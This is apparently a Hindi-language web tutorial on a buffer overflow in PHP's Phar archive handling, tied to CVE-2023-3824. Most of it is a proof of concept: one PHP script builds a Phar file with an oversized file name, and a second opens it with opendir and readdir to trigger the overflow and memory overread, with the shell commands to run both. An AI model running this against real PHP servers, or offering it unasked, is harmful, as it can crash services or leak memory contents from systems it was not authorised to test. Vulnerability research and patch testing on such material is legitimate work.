
PHP Phar फ़ाइलों में बफर ओवरफ्लो के कारण उत्पन्न होने वाली कमजोरी, Phar आर्काइव के अंदर फ़ाइल नामों पर अपर्याप्त लंबाई जांच के कारण होती है। दुर्भावनापूर्ण अभिनेता लंबे फ़ाइल नामों वाली Phar फ़ाइलें बना सकते हैं, जिससे बफर ओवरफ्लो और दुर्भावनापूर्ण कोड का निष्पादन या डेटा लीक हो सकता है। इस कमजोरी का उपयोग कोड निष्पादन CVE-2023-3824 के लिए किया जा सकता है।
यह प्रूफ ऑफ कॉन्सेप्ट (PoC) प्रदर्शित करता है कि PHP में एक दुर्भावनापूर्ण Phar फ़ाइल कैसे बनाएं और बफर ओवरफ्लो भेद्यता को कैसे ट्रिगर करें।
create_phar.php) और निम्नलिखित कोड जोड़ें:<?php
$phar = new Phar('malicious.phar');
$phar->startBuffering();
$phar->addFromString(str_repeat('A', PHP_MAXPATHLEN - 1).'B', 'This is the content of the file.');
$phar->stopBuffering();
?>
दुर्भावनापूर्ण Phar फ़ाइल बनाने के लिए PHP स्क्रिप्ट निष्पादित करें: कोड कॉपी करें
php create_phar.php
बफर ओवरफ्लो को ट्रिगर करना
एक और PHP फ़ाइल बनाएं (जैसे, trigger_overflow.php) और निम्नलिखित कोड जोड़ें:
<?php
$handle = opendir("phar://./malicious.phar");
$x = readdir($handle);
closedir($handle);
var_dump($x);
?>
बफर ओवरफ्लो को ट्रिगर करने के लिए PHP स्क्रिप्ट निष्पादित करें: कोड कॉपी करें php trigger_overflow.php var_dump($x) स्टेटमेंट बफर ओवरफ्लो और ओवररीड ऑपरेशन का परिणाम आउटपुट करेगा।